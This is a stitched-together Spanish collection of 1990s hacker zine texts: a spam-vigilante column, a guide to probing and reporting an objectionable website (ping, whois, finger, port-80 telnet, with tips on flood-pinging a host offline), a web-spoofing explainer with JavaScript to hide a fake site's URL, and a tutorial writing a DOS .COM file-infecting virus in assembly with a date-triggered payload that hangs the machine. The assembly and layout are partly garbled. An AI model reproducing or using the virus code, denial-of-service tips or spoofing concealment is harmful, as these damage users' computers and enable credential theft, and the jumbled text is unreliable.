gnn.com ha afirmado ya que venia de att.net, falseado para parecer que venia de gnn. Claramente el primer "Received:" de la cabecera es inconsistente. Ahora sabemos que si quieres quejarte acerca del spam, el mejor sitio para mandar tu queja es [email protected]. Pero ¿qué tal funciona actualmente lo de mandar una carta de queja? Le pregunte al dueño de un proveedor Dale Amon. Me contesto, "Del pequeño número de mensajes spam que he estado viendo -- dado el número de generaciones de crecimiento exponencial de la red que he visto en 20 años -- parece que el sistema sea *fuertemente* auto regulador. El Gobierno y los sistemas legales no trabajan tan bien. "Felicito a Carolyn por sus esfuerzos en este área. Esta totalmente en lo cierto. Los spammers están controlados por el mercado. Si hay suficiente gente asombrada, responden. Si esa acción causa problemas a un proveedor, tienen en cuenta sus intereses económicos a la hora de desechar a clientes que causan dicho daño, por ejemplo los spammers. El interés económico es muchas veces un incentivo mucho mas fuerte y efectivo que los requerimientos legales. "Y recuerda que digo esto como Director Técnico del mayor proveedor de Irlanda del Norte." ¿Qué tal demandar a los spammers? Quizás un puñado de nosotros pudiera unirse para llevar a cabo una acción y llevar a estos tíos a la bancarrota. El administrador de sistema Terry McIntyre dice, "Me opongo a los intentos de demandar a los spammers. Ya tenemos un mecanismo de normas propio decente impuesto. "Considerando que la mitad de todo Internet son novatos (debido a la tasa de crecimiento del 100%), yo diría que las normativas propias son maravillosamente efectivas. "Invita al Gobierno a que haga nuestro trabajo, y algunos malditos burócratas fijaran Normas, Regulaciones, y Penas y todo ese sin sentido. Ya tenemos suficiente de eso en el mundo fuera de la red; no invitemos a nada de ello a perseguirnos en la red."

20 Así que parece que los profesionales de Internet prefieren controlar los spams teniendo vigilantes de red como nosotros que perseguimos a los spammers y avisamos de su presencia a sus proveedores. ¡Me suena como divertido! De hecho, seria justo decir que sin nosotros, vigilantes de la red, Internet se reduciría a una parada de la carga que estos spammers depositasen en "ella". Bien, pues ya termino con esta columna. Espero tus contribuciones a esta lista. Pásatelo bien de vigilante y, ¡que no te pillen!

21

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 1 Numero 6 ¡Es el día divertido del vigilante una vez mas! Como "joder" webs ofensivas ¿Cómo nos ocupamos de webs ofensivas? Recuerda que Internet es voluntaria. No hay ley que fuerce a un proveedor a servir a gente que no les guste. Como los reyes del spam Jeff Slayton, Crazy Kevin, y, oh sí, los originales artistas del spam Cantor y Siegal han aprendido, la vida como spammer es una continua carrera. Lo mismo es aplicable a web sites que se pasan de la raya. La razón por la que saco a relucir esto es que un miembro de la lista de Happy Hacker me ha dicho que le gustaría destrozar sites de porno infantil. Creo que esa es una idea muy, muy, buena -- excepto por un problema. ¡Puedes acabar en la cárcel! No quiero que las utilidades de hacking que puedas pillar de web y ftp sites públicos sean un aliciente para que te pillen. Es fácil usarlas para destrozar web sites. Pero es difícil usarlas sin ser ¡pillado! PUEDES IR A LA CÁRCEL: Irrumpir en una parte no publica de un ordenador es ilegal. Adicionalmente, si usas las líneas de teléfono o Internet a lo largo de una línea de un estado de EEUU para irrumpir en una zona no publica de un ordenador, habrás cometido un delito Federal. No necesitas causar ningún daño -- es igualmente ilegal. Incluso si solo consigues acceso root e inmediatamente desconectas -sigue siendo ilegal. Incluso si estas haciendo lo que tu ves como una obligación cívica mediante el destrozo de porno infantil -- sigue siendo ilegal. Aquí va otro problema. Hicieron falta dos hackers cabreados para parar la lista esa de DC. Sí, volverá, eventualmente. Pero ¿y si Internet estuviera limitada a acarrear solamente material que fuese totalmente inofensivo para todo el mundo? De ahí el porqué esta contra la ley el "joder" proveedores y servidores web que no te gusten. Créeme, como pronto descubrirás, es realmente fácil el sacar a un host fuera de Internet. Es *tan* fácil que hacer este tipo de cosas ¡NO es élite! Así que ¿cuál es la alternativa legal para luchar contra el porno infantil? El tratar de llevar a la cárcel a los tíos del web de porno infantil no siempre funciona. Mientras que hay leyes contra ello en los EEUU, el problema es que Internet es global. Muchos países no tienen leyes en contra del porno infantil en Internet. Incluso si fuese ilegal en todos sitios, en muchos países la policía solo caza a personas a cambio de que tu pagues un soborno mayor que el del criminal. Pueden ir a la cárcel: En los EEUU y en muchos otros países, el porno infantil es ilegal. Si las imágenes están albergadas en un dispositivo de almacenamiento físico dentro de la jurisdicción de un país con leyes en contra de ello, la persona que ponga estas imágenes en el dispositivo de almacenamiento puede ir a la cárcel. Así que si sabes lo suficiente para ayudar a las autoridades a obtener una orden de registro, contacta con ellos sin lugar a dudas. En los EEUU, estos serian el FBI. Pero la clase de ofensas masivas que mantiene a los spammers a la carrera puede también llevar al porno infantil fuera de la Red. *Tenemos* el poder. La clave es que nadie puede forzar a un proveedor a llevar porno infantil-- o cualquier otra cosa. De hecho, la mayoría de los seres humanos están tan disgustados con el porno infantil que saltaran a la mínima oportunidad de acabar con ello. Si el proveedor es dirigido por algún pervertido que quiere hacer dinero ofreciendo porno infantil, entonces tu vas al siguiente nivel, al proveedor que ofrece la conexión al proveedor de porno infantil. Allí habrá alguien que estará encantado de parar los pies a los bastardos. Así que, ¿cómo encuentras a la gente que pueda poner un web site en marcha? Comenzamos con la URL. Voy a usar una URL real. Pero por favor ten en cuenta que no estoy diciendo que esta sea actualmente una dirección con porno infantil. Esto es usado solo con fines ilustrativos ya que esta URL es llevada por un host con muchas características hackeables. También, al menos por algunos estándares, tiene material calificado X. Así que visítala a tu propio riesgo. http://www.phreak.org Ahora digamos que alguien te dijo que este era un site de porno infantil. ¿Simplemente lanzas un ataque? No. Así es como las guerras hacker comienzan. ¿Y si phreak.org es un buen sitio actualmente? Incluso si una vez mostraron porno infantil, tal vez se hayan arrepentido. No queriendo ser pillado actuando por un estúpido rumor, voy a la web y recibo el mensaje "no DNS entry". Así que parece que este web site no este allí ahora mismo. Pero podría simplemente ser que la maquina que tiene el disco que alberga a este web site este temporalmente apagada. Hay un modo de decir si el ordenador que sirve un nombre de dominio esta funcionando: el comando ping: /usr/etc/ping phreak.org La respuesta es: /usr/etc/ping: unknown host phreak.org Ahora, si este web site hubiese estado funcionando, habría respondido como lo hace mi web site: /usr/etc/ping techbroker.com Esto da la respuesta: techbroker.com is alive Nota de genio maligno: El ping es una herramienta de diagnostico de red poderosa. Este ejemplo es de BSD UNIX. Quaterdeck Internet Suite y muchos otros paquetes de software también ofrecen esta versión del comando ping. Pero en su forma mas poderosa -- que la

22 puedes obtener instalando Linux en tu ordenador -- el comando ping-f mandara fuera paquetes tan rápido como el host que usemos de blanco pueda responder por un periodo de tiempo indefinido. Esto puede mantener al blanco extremadamente ocupado y puede ser suficiente para poner al ordenador fuera de combate. Si varias personas hacen esto simultáneamente, el blanco casi seguro que será incapaz de mantener su conexión de red. Así que -- *ahora* ¿quieres instalar Linux? Advertencia: "Pinging down" (el tirar abajo mediante ping) a un host es increíblemente fácil. Es muy fácil para ser considerado elite, así que no lo hagas para impresionar a tus amigos. Si de todas formas lo haces, prepárate para ser denunciado por el dueño de tu blanco y ser pateado de tu proveedor -- o ¡mucho peor! Si por accidente haces correr al comando ping en modo de asalto, puedes rápidamente apagarlo presionando la tecla control a la vez que la tecla "c". Advertencia puedes ir a la cárcel: Si se puede probar que usaste el comando ping-f con el propósito de tirar al host al que apuntaste, esto es un ataque de denegaron de servicio y por lo tanto ilegal. Bien, ahora ya hemos establecido que al menos en estos momentos, http://phreak.com o bien no existe, o que el ordenador que lo alberga no esta conectado a Internet. ¿Pero es esto temporal o se fue, se fue, se fue? Podemos hacernos alguna idea de si ha estado funcionando y de si ha sido ampliamente visitada por medio del motor de búsqueda en http://altavista.digital.com. Es capaz de buscar links fijados en páginas web. ¿Hay muchos web sites con links hacia phreak.org? En los comandos de búsqueda pongo: link: http://www.phreak.org host: http://www.phreak.org Pero no aparece nada. Así que parece que el site phreak.org no es realmente popular. Bueno, ¿tiene phreak.org un registro en Internic? Probemos con whois: whois phreak.org Phreaks, Inc. (PHREAK-DOM) Phreaks, Inc. 1313 Mockingbird Lane San José, CA 95132 US Domain Name: PHREAK.ORG Administrative Contact, Billing Contact: Connor, Patrick (PC61) [email protected] (408) 262-4142 Technical Contact, Zone Contact: Hall, Barbara (BH340) [email protected] 408.262.4142 Record last updated on 06-Feb-96. Record created on 30-Apr-95. Domain servers in listed order: PC.PPP.ABLECOM.NET 204.75.33.33 ASYLUM.ASYLUM.ORG 205.217.4.17 NS.NEXCHI.NET 204.95.8.2 Seguidamente espero unas pocas horas y hago ping a phreak.org de nuevo. Descubro que ahora esta "vivo". Así que ahora hemos aprendido que el ordenador que alberga a phreak.org esta a veces conectado a Internet y a veces no. (De hecho, pruebas posteriores demuestran que esta normalmente down.) Trato de hacer telnet a su secuencia de login: telnet phreak.org Trying 204.75.33.33 ... Connected to phreak.org. Escape character is '^]'. ; Connection closed by foreign host. ¡Ha! ¡Alguien ha conectado el ordenador que alberga a phreak.org a Internet! El hecho de que esto solo nos dé el dibujo en ASCII y no el prompt de login sugiere que este host no de exactamente la bienvenida al visitante casual. Pudiera bien tener un firewall que rechazase intentos de login de cualquiera que "telnetease" desde un host que no este en su lista de aprobación. Seguidamente hago un finger a tu contacto técnico: finger [email protected] La respuesta es: [phreak.org] Entonces me da un scroll de gráficos ASCII desconcertantes. Haz un finger tu mismo si quieres verlo. Sin embargo yo solo lo calificaría como PG-13 (mayores de 13 años, creo). El hecho de que phreak.org corra el servicio finger es interesante. Dado que el finger es una de las mejores formas de crackear un sistema, podemos concluir que o bien: 1) El administrador de phreak.org no esta muy concienzado con la seguridad, o

23 2) Es tan importante para phreak.org el mandar mensajes insultantes que al administrador no le importa el riesgo de seguridad de usar el finger. Dado que hemos visto evidencias de un firewall, el punto 2 es probablemente cierto. Uno de los miembros de la lista del Happy Hacker que me ayudo revisando esta Guía, William Ryan, decidió probar mas adelante el puerto finger de phreak.org: "He estado prestando mucha atención a todas las cosas de "happy hacker" que has posteado. Cuando intente usar el método del puerto 79 en phreak.org, se conectaba y después mostraba una mano con su dedo del medio levantado y el comentario "UP YOURS". Cuando intente usar el finger, me conecte y se mostraba un mensaje un poco después "In real life???"" Oh, esto es simplemente *muy* tentador...ah, pero mantengámonos fuera de problemas y dejemos al puerto 79 en paz, ¿OK? Ahora ¿qué tal su puerto HTML, que podría dar acceso a cualquier web site albergado por phreak.org? Podríamos simplemente ejecutar un browser y echar un vistazo. Pero somos hackers y los hackers nunca hacen nada del modo ordinario. Además, no quiero ver fotos sucias y malas palabras. Así que comprobamos para ver si tiene activado, lo has adivinado, un pequeño puerto de "surfing": telnet phreak.org 80 Esto es lo que recibo: Trying 204.75.33.33 ... Connected to phreak.org. Escape character is '^]'. HTTP/1.0 400 Bad Request Server: thttpd/1.00 Content-type: text/html Last-modified: Thu, 22-Aug-96 18:54:20 GMT <TITLE>400 Bad Request

400 Bad Request

Your request '' has bad syntax or is inherently impossible to satisfy.
thttpd/1.00
Connection closed by foreign host. Ahora sabemos que phreak.org tiene un servidor web en su ordenador host. Este servidor se llama thttpd, versión 1.0. ¡También podemos sospechar que tiene unos pocos bugs! ¿Qué me hace pensar que tiene bugs? Mira el numero de versión: 1.0. También, ese es un mensaje de error bastante raro. Si yo fuese el administrador técnico de phreak.org, pillaría un mejor programa para que corriese en el puerto 80 antes de que alguien se diera cuenta de como hacerse root con él. El problema es que el código con bugs es normalmente un síntoma de código que toma el acercamiento inútil de usar llamadas a root. En el caso de un servidor web, deseas dar acceso de solo lectura a usuarios remotos en cualquier directorio de usuario de archivos HTML. Así que hay una gran tentación de hacer llamadas a root. Y un programa con llamadas a root simplemente podría venirse abajo y ponerte en root. Nota para novatos: ¡Root! Es el Walhalla del cracker duro. "Root" es la cuenta de un ordenador multi-usuario que te permite jugar a ser Dios. ¡Te conviertes en el "superusuario"! Es la cuenta desde la que puedes entrar y usar cualquier otra cuenta, leer y modificar cualquier fichero, ejecutar cualquier programa. Con acceso root, puedes destruir completamente todos los datos de boring.ISP.net o de cualquier otro host en el que ganes acceso root. (¡*No* estoy sugiriendo que lo hagas!) Oh, esto es simplemente muy tentador. Hago un pequeño experimento: telnet phreak.org 80 Esto nos da: Trying 204.75.33.33 ... Connected to phreak.org. Escape character is '^]'. Ya que el programa del puerto 80 "caduca" a los comandos en un segundo o menos, yo estaba listo para hacer un paste (pegar) al comando del host, que rápidamente inserto el siguiente comando:
thttpd/1.00 Esto da información acerca del programa del puerto 80 de phreak.org: HTTP/1.0 501 Not Implemented Server: thttpd/1.00 Content-type: text/html Last-modified: Thu, 22-Aug-96 19:45:15 GMT <TITLE>501 Not Implemented

501 Not Implemented

The requested method '

24
thttpd/1.00
Connection closed by foreign host. Bien, ¿qué es thttpd? Hago una búsqueda rápida en Altavista y recibo la respuesta: Un pequeño, portable, rápido, y seguro servidor HTTP. El pequeño/turbo/rápido servidor HTTP no se bifurca y es muy cuidadoso con la memoria... ¿Pero supo el programador como hacer todo esto sin llamadas a root? Solo por diversión trato de acceder a la URL acme.org y recibo el mensaje "does not have a DNS entry". Así que esta off-line, también. Pero el whois me dice que esta registrado con Internic. Hmm, esto suena aun más a marca X de software. Y esta corriendo en un puerto. ¡Asalto a la ciudad! Que tentación...arghhh... También, una vez mas vemos una interesante personalidad dividida. Al administrador de phreak.org le importa lo suficiente la seguridad como para coger un servidor web anunciado como "seguro". Pero ese software muestra grandes sintamos de ser un riesgo para la seguridad. Así que ¿cómo podemos concluir? Parece como si phreak.org tiene un web site. Pero está sólo esporádicamente conectado a Internet. Ahora supón que encontramos algo realmente malo en phreak.org. Supón que alguien pudiera cerrarlo. ¡Ah-ah-ah, no toques ese puerto 80 con bugs! ¡O ese tentador puerto 79! ¡Haz ping con moderación, solo! Puedes ir a la cárcel: ¿Estás tan tentado como lo estoy yo? Estos tíos tienen la autopista de crackers, puerto 79 abierto, ¡Y un puerto 80 con bugs! Pero, una vez mas, te lo estoy diciendo, va en contra de la ley el irrumpir en zonas no publicas de un ordenador. Si haces telnet sobre las líneas estatales de los EEUU, es un delito federal. Incluso si crees que hay algo ilegal en ese servidor thttpd, solo alguien armado con una orden de registro tiene derecho a observarlo desde la cuenta root. Primero, si de hecho hubiese un problema con phreak.org (recuerda, esto esta siendo usado solo como ilustración) mandaría un email con quejas al contacto técnico y administrativo del proveedor que da a phreak.org conexión a Internet. Así que miro para ver quienes son: whois PC.PPP.ABLECOM.NET Recibo la respuesta: [No name] (PC12-HST) Hostname: PC.PPP.ABLECOM.NET Address: 204.75.33.33 System: Sun 4/110 running SunOS 4.1.3 Record last updated on 30-Apr-95 En este caso, ya que no hay contactos listados, mandaría un email a [email protected]. Compruebo el siguiente proveedor: whois ASYLUM.ASYLUM.ORG Y recibo: [No name] (ASYLUM4-HST) Hostname: ASYLUM.ASYLUM.ORG Address: 205.217.4.17 System: ? running ? Record last updated on 30-Apr-96. De nuevo, mandaría un email a [email protected] Compruebo el último proveedor: whois NS.NEXCHI.NET Y recibo: NEXUS-Chicago (BUDDH-HST) 1223 W North Shore, Suite 1E Chicago, IL 60626 Hostname: NS.NEXCHI.NET Address: 204.95.8.2 System: Sun running UNIX Coordinator: Torres, Walter (WT51) [email protected] 312-352-1200 Record last updated on 31-Dec-95. Así que en este caso mandaría un email a [email protected] con evidencias del material ofensivo. También mandaría las quejas por email a [email protected] y [email protected]. Esto es. En vez de librar guerras de hacker escalonadas que pueden terminar con gente en la cárcel, documenta tu problema con un web site y pide a aquellos que tienen el poder de acabar con estos tíos que hagan algo. Recuerda, puedes ayudar a luchar contra los tíos malos del cyberespacio mucho mejor desde tu ordenador de lo que puedas hacerlo desde una celda en la cárcel.

25 Nota de genio maligno: Los sintamos de ser hackeable que vemos en thttpd son la clase de desafíos intelectuales que llaman a instalar Linux en tu sistema. Una vez tengas Linux listo podrás instalar thttpd. Entonces podrás experimentar con total impunidad. Si encontrases un bug en thttpd que comprometiera seriamente la seguridad de cualquier ordenador que lo usase, entonces ¿qué haces? ¿Aniquilar los ficheros HTML de phreak.org? ¡NO! Contactas con el Computer Emergency Response Team (CERT) en http://cert.org con esta información. Mandaran una alerta. Te convertirás en un héroe y serás capaz de cobrar muchos pavos como experto en seguridad de ordenadores. Esto es mucho más divertido que ir a la cárcel. Créeme. Bien, pues ya termino con esta columna. Espero tus contribuciones a esta lista. Pásatelo bien de vigilante y, ¡que no te pillen!

1

Introduccion Este documento intentará describir un ataque de seguridad en Internet que podría poner en peligro la privacidad de los usuarios de la Web, y la integridad de sus datos. El engaño se puede comenter sobre la mayoria de los navegadores, incluyendo el Nestscape Navigator, y Microsoft Internet Explorer,incluido el 5.5. Web Spoofing El Web Spoofing permite a un atacante la creacion de una "shadow copy" DE TODAS LAS PÁGINAS DE LA WEB. Los accesos a este sitio estan dirigidos a traves de la maquina del atacante, permitiendole monitorear todas las actividades que realiza la victima, desde los datos que se pueda escribir en un simple formulario, hasta sus passwords, su numero de tarjeta, etc... El método consiste en que el atacante crea un falso (pero convincente) mundo alrededor de la victima, y la victima hace algo que le podria ser apropiado. El falso web se parece al verdadero, tiene las mismas paginas, links... En definitiva, el atacante es quien controla el falso web, asi pues, todo el trafico entre el navegador de la victima y el verdadero web pasa a traves del programa filtro que programó el atacante. Desafortunadamente, las actividades que parecen ser razonables en el mundo imaginario suelen ser desastrosas en el mundo real. Las personas que usan internet a menudo toman decisiones relevantes basadas en las señales del contexto que perciben. Por ejemplo, se podria decidir el teclear los datos bancarios porque se cree que se esta visitiando el sitio del banco. Esta creencia se podria producir porque la pagina tiene un parecido importante, sale su url en la barra de navegacion, y por alguna que otra razón mas. Como el atacante tiene el control de la conexion, puede observar, e incluso modificar cualquier dato que vaya entre la victima y el verdadero web, tiene muchas posibilidades de salirse con la suya. Esto incluye Vigilancia y Manipulacion. Vigiliancia El atacante puede mirar el trafico de una manera pasiva grabando las paginas que visita la victima, y su contenido, como por ejemplo todos los datos que aparezcan en los formularios cuando la respuesta es enviada de vuelta por el servidor. Como la mayoria del comercio electronico se hace a traves de formularios, significa que el atacante puede observar cualquier numero de cuenta o passwords que la victima introduce. Manipulacion El atacante tambien es libre de modificar cualquiera de los datos que se estan transmitiendo entre el servidor y la victima en cualquier dirección. Por ejemplo, si la victima esta comprando un

2 producto on-line, el atacante puede cambiar el numero, la cantidad, la direccion del remitente ... tambien le podria engañar a la victima enviandole informacion erronea, por parte del servidor para causar antagonismo entre ellos. Un ejemplo grafico es el siguiente: Nombre: Juan Articulo: Compact Disc Direccion: C/ Victima, n º 1 Num. Tarj: xxx Victima <===============> O.K. Te envio el jamon, Juan

Nombre: Pepe Articulo: Compact Disc Direccion: C/ Atacante, n º 12 Num. Tarj: xxx Atacante <==============> O.K. Te envio el jamon, Pepe

Servidor

Como ataca? La clave es que el atacante se situe en medio de la conexion entre la victima y el servidor. a) Rescribe la URL: Lo primero que se hace es grabar todo el website dentro del servidor del atacante para que asi se apunte al servidor de la victima, en vez de la verdadera. Otro método sería instalar un software que actúe como filtro. Por ejemplo, si la URL del atacante es http://www.atacante.org y la del servidor verdadero es http://www.servidor.com, quedaria: http://www.atacante.org/http://www.servidor.com 1) El navegador de la victima reclama una pagina de www.atacante.org 2) www.atacante.org se la reclama a www.servidor.com. 3) www.servidor.com se la entrega a www.atacante.org 4) www.atacante.org la reescribe o modifica 5)www.atacante.org le entrega la version de la pagina que ha hecho al navegador de la victima.

b) Que pasa con los Formularios?: Si la victima llena un formulario de una pagina web falsa, el atacante tambien puede leer los datos, ya que van encerrados dentro de los protocolos web basicos. Es decir, que si cualquier URL puede ser spoofeada, los formularios tambien.

c) Las Conexiones Seguras no ayudan: Una propiedad angustiosa de este ataque es que tambien funciona cuandoel navegador de la victima solicita una pagina via conexion segura. Si la victima accede a un web "seguro" (usando Secure Sockets Layer, SSL) en un web falso, todo sigue ocurriendo con normalidad, la pagina sera entregada, y el indicador de conexion segura, se encendera (generalmente suele ser un candado). El navegador de la victima dice que hay una conexion segura, porque tiene una, pero desgraciadamente esa conexion es con www.atacante.org, y no con el sitio que piensa la victima. El indicador de conexion segura solo le da a la victima una falsa sensacion de seguridad.

3 Empezando el Ataque El atacante debe, de alguna manera colocar un cebo a la victima, para que visite la web falsa del atacante. Hay varias maneras para hacer esto, poner un link en cualquier pagina que visite la victima, engañar a los motores de busqueda, o incluso, si se sabe su direccion de mail, enviarle uno para que visite la pagina, ... Completando la Ilusion Este ataque es bastante efectivo, pero no perfecto. Todavia hay detalles que pueden hacer sospechar a la victima que el ataque ya esta en marcha. En última instancia, el atacante puede llegar a eliminar cualquier rastro del ataque. a) La Linea de Estado: Es una simple linea de texto abajo del navegador que informa de varios mensajes, como a que servidor trata de localizar, si se conecta, o el tiempo que falta todavia para recibir la totalidad de la pagina. Este ataque deja dos tipos de evidencias en la barra de estado. La primera, cuando se pasa el mouse por encima de un enlace, informa la URL a la que apunta. Asi pues, la victima podria darse cuenta de que la URL se ha modificado. La segunda es que por un breve instante de tiempo, se informa cual es la direccion del servidor que esta intentando visitar. La victima podria darse cuenta que el servidor es www.atacante.org, y no el servidor verdadero. El atacante puede tapar estas huellas añadiendo codigo JavaScript en cada pagina reescrita para ocultar el texto en la linea de estado o hacer que cuando haya un enlace a http://www.atacante.org/http://www.servidor.com, en la linea de estado salga http://www.servidor.com, que se haria de la manera siguiente: http://www.servidor.com Este detalle hace mas convincente el ataque. b) La Linea de Navegacion: Es la encargada de informar qué URL se esta visitando. Asi pues, el ataque causa que las paginas reescritas en www.atacante.org salgan en la linea de navegacion. Este detalle puede hacer sospechar a la victima que el ataque está en marcha. Esta huella puede ser ocultada ayudandose de un poco de JavaScript, de esta manera: function AbreVentana() { open("http://www.atacante.org/http://www.servidor.com/","DisplayWindow","toolbar=yes,directories= no,menubar=no, status=yes"); }

4 Tambien se puede hacer un programa que reemplace a la linea de navegacion verdadera, que parezca que sea la correcta, colocandola en el mismo sitio, ... Si esta bien hecho se puede hacer que escriba la URL que espera ver la victima, incluso que se puedan producir entradas por teclado, para que la victima no se de cuenta. c) Ver Documento Fuente: Los navegadores mas populares ofrecen la posibilidad de examinar el codigo fuente html de la pagina actual. Un usuario podria buscar URLs reescritas, mirando su codigo fuente, para darse cuenta del ataque. Este ataque también puede prevenir esto ayudandose de un programa en JavaScript que oculte la barra de menús, o que haga una barra identica, con la salvedad que si la victima mira el codigo fuente, en vez de enseñar el que esta viendo, apunte a la direccion verdadera. d) Ver Informacion del Documento: Esta huella se puede eliminar siguiendo las indicaciones arriba mencionadas. Remedios Web Spoofing es un ataque peligroso, y dificilmente detectable, que hoy por hoy se puede llevar a cabo en Internet. Afortunadamente hay algunas medidas preventivas que se pueden practicar: a) Soluciones a corto plazo: 1.- Desactivar la opcion de JavaScript en el navegador. 2.- Asegurarse en todo momento que la barra de navegacion está activa. 3.- ESTA ES LA MÁS IMPORTANTE: Poner atencion a las URL que se enseñan en la barra de estado, asegurandote que siempre apuntan al sitio que quieras entrar. Hoy en dia tanto JavaScript, como Active-X, como Java tienden a facilitar las tecnicas de spoofing, asi que desde aqui recomendamos al lector que las desactive de su navegador, al menos en los momentos que vaya a transferir informacion critica como login, password, numeros de tarjeta de crédito o cuenta bancaria, ... b) Soluciones a largo plazo: Todavia no se ha descubierto ningun metodo para evitar este ataque. .

Empezaremos por contaminar archivos com, ¿que qué diferencia hay entre archivos com y exe? pues fácil, si os habéis fijado los archivos com ocupan como máximo 65 kbytes y pico. ¿qué porque es así? , pues porque los com se cargan en un único segmento de memoria. Y no me vengáis diciendo que el command.com del windows 95 tiene más porque aunque tiene extensión com es un archivo exe (es un exe camuflado je,je,je ;) ) Los exe's utilizan un cabezera con información acerca del tamaño del archivo,la posición inicial para empezar a ejecutar el file la posición del stack y demás choradas necesárias para cargarlo en varios segmentos de memoria.El inicio de dicha cabecera es MZ ¿que porque esa marca? ,yo que sé ,yo no creé la estructura de los exe's, de alguna manera los tenían que marcar. Bueno la verdad es que lo que realmente diferencia un exe de un com es esa marca , la extensión simplemente sirve para que el DOS sepa que ejecutar primero com->exe->bat. El virus que vamos a hacer no será residente por lo que es bastante sencillo .Contamina en un único directorio por lo que además de ser sencillo tendrá una infección practicamente patética. Pero bueno es pa ke entendáis el rollo este de los com. La contaminación de los com's se puede hacer añadiendo el código del virus al principio del hoste(programa infectado) pero no es recomendable por cuestiones de rapidez, por lo que lo bonito es quitar los 3 primeros bytes del archivo (guardarlos en el código del virus) poner en su lugar un jmp virus (es decir un salto incodicional al código del virus, que lo añadimos al final del hoste).Cuando acaba la ejecución del virus los 3 bytes que habías guardado los restauramos al principio del virus y le pasamos el control al hoste. Facil noooo??? ----------------| jmp virus | ----------------| codigo del | | hoste | ----------------| virus: | | contamina | | recupera los | | 3 bytes | | originales y | | jmp hoste | ----------------Ahora que sabemos la teoría , tenemos que buscar una manera de marcar los archivos para no volverlos a contaminar infinitas veces. Como vamos a tener que poner un jmp al principio del hoste , pues este propio jmp funcioná de marca de infección. El virus infectará a los archivos que no empiecen con un jmp.El código del jmp ocupa 1 byte y la dirección a saltar con un byte ocupa 2 bytes 1 byte del jmp + 2 bytes dirección = 3 bytes (lo que pillamos del hoste) Otra cosa. Al programar un virus lo que se hace normalmente es crear un archivo contaminado, en este caso nuestro hoste contaminado contendrá un jmp start (salto al principio del virus) y la int 20h para regresar al dos.

longitud

equ

code

segment 'code' assume cs:code,ds:code,es:code org 100h ;empiezo en 100 ya que es

un com hoste: simulado start: alli: no

fin-start

jmp

start

;esto es un hoste

int push call pop

20h bp alli bp

;con esto salgo al DOS ; busco la ip de inicio ; para que la variables

sub

bp,offset alli

; aparezcan corridas :-)

Con esto lo que hacemos es definir la constante longitud como la diferencia entre dos etiquetas que hemos puesto al principio y al

dejar

final del virus(obviamente) con lo que el linkador nos traducirá longitud como el tamaño del virus. El org 100h es para que el programa se carge en el offset 100h, los com's siempre se cargan en el offset 100h ya que tienen que

100h bytes para que el DOS guarde información sobre el programa esos 100h bytes forman lo que se llama el PSP. En el hoste meto un jmp start con lo que este archivo estará ya marcado como infectado. Ahora viene lo gracioso, que coño hace ese call ahí.Bueno ¿por qué un call? ¿acaso los call no són para llamar a procedimientos? ¿y el procedimiento?¿no veo ninguno?¿y la famosa instrucción ret para regresar del procedimiento tampoco la veo? Respuesta: No es una llamada a un procedimiento. Es simplemente una pirula para que se puedan direccionar las variables. ¿quéeee?. Si bueno no sé si si os habéis dado cuenta que el virus se añade al final del hoste con lo que en cada hoste las variables se encontrarán en diferente offset (el offset es una dirección dentro de un segmento , y un segmento es un bloque de memoria de 65536 bytes) Las referencias a variables ( como mov ax,variable) el linkador las traduce a un numero (mov ax,056f2h por ejemplo) Por esto es por lo que hay que inventarse una pirula para hallar el verdadero offset de las variables( en busca del offset perdido). Ahora bien que os parece si sumamos a cada referencia a variable el incremento del tamaño del hoste respecto al hoste ficticio que hemos creado,que lo podríamos tener almacenado en un registro como el bp (que no es muy usado). Ahora las referencias a variables quedarían así: mov ax,bp+variable ;) No está mal el invento pero ¿cómo coño hallamos ese incremento que sufre el offset?.Ahora es cuando utilizamos las maravillosas cualidades del comando call.El comando call no sólo salta al comienzo

del procedimiento sinó que apila la dirección de regreso para que luego utilizando la instrucción ret se pueda regresar a la posición desde la que fué llamada.Pero bueno, que preciosidad de comando ,pues yo ahora hago un call findoffset y en vez de enviar el control a un procedimiento utilizo el comando pop para desapilar la dirección apilada con el call. Pero la cosa no se queda ahí, ahora le resto a esa direccion (almacenada en bp) el offset de la etiqueta findoffset ahora acabamos de obtener el desplazamiento que sufriran las variables. NOTA:Las intrucciónes offset algo el linkador las traduce por un número por lo que en cada archivo infectado 'offset findoffset' siempre será el mismo número. el offset de la etiqueta findoffset del archivo que vamos a crear. Si te fijas en el archivo que vamos a obtener el bp tomará

el

valor 0 esto es correcto ya que en el archivo original no se produce ningun

desplazamiento,respecto a su propio tamaño ; ). push push pop pop push push push push push push

cs cs ds es ax bx cx dx di si

;

APILO LOS REGISTROS

Con esto ds y es se quedan con el valor de cs ya que trabajamos en un único segmento. Además apilo los registros para que no se modifique su valor. Ahora viene un punto muy importante en este virus es recuperar los 3 bytes originales.Esto lo hacemos antes de la contaminación ya que la variable cab_ORIG la sobreescribiremos en el proceso de infección.

mover cab_ORIG a 100h

cld mov

cx,3d

;en cx el numero de bytes a

mov lea

di,100h si,bp+cab_ORIG

;muevo de ds:si ->es:di ;es decir de la variable

rep

movsb

Ten en cuenta que sobreescribo estos 3 bytes en memoria el archivo contaminado siempre tendra tu jmp START.

************* Quien quiera pasar de esto que lo haga ******* ************* es la activación del virus ******* Se activa el 19 de Febrero mi Cumpleaños (que original). mov int cmp jne cmp jne

ah, 02h 21h dh, 2d noactivo dl, 19d noactivo

mov lea

ax,0900h dx,bp+mensaje

int

21h

;compruebo si el mes es 2 ;compruebo si el dia es 19 ;aparece el mensaje en pantalla ;si es 19 del 2 sino se salta a

noactivo hlt

;cuelgo el ordenata

noactivo: ************* Final de la activaci¢n

ARCHIVO

*************************

mov lea mov

ah,4eh dx,bp+file_cont cx,00000000b

; ; ;

int

21h

;

BUSQUEDA DEL

con esto busco archivos que cumplan que tienen extensión com *.com . en ds:dx esta la dirección de la cadena '*.com' en ah la llamada a la función de busqueda y en cx los atributos. Es recomendable trabajar con una buena lista de interrupciones yo recomiendo personalmente la lista de Ralf Brown yo diría que sin duda es la mejor . Si la han quitado la podréis conseguir de la página de Cicatrix. Ojo a que ponemos bp+file_cont en vez de file_cont a secas. otro:

mov int jb mov mov int mov

ah,4fh 21h salir ax, 3d00h dx, 009eh 21h bx,ax

;salto si no quedan más archivos ;con extensión com ;abro el archivo para lectura ;guardo el handel

Al encontrar un archivo con extensión com lo abro para ver si está contaminado. Ten en cuenta que la información obtenida con la funcion 4fh de la interrupción 21 (busqueda de archivo) se guarda en el DTA(disk

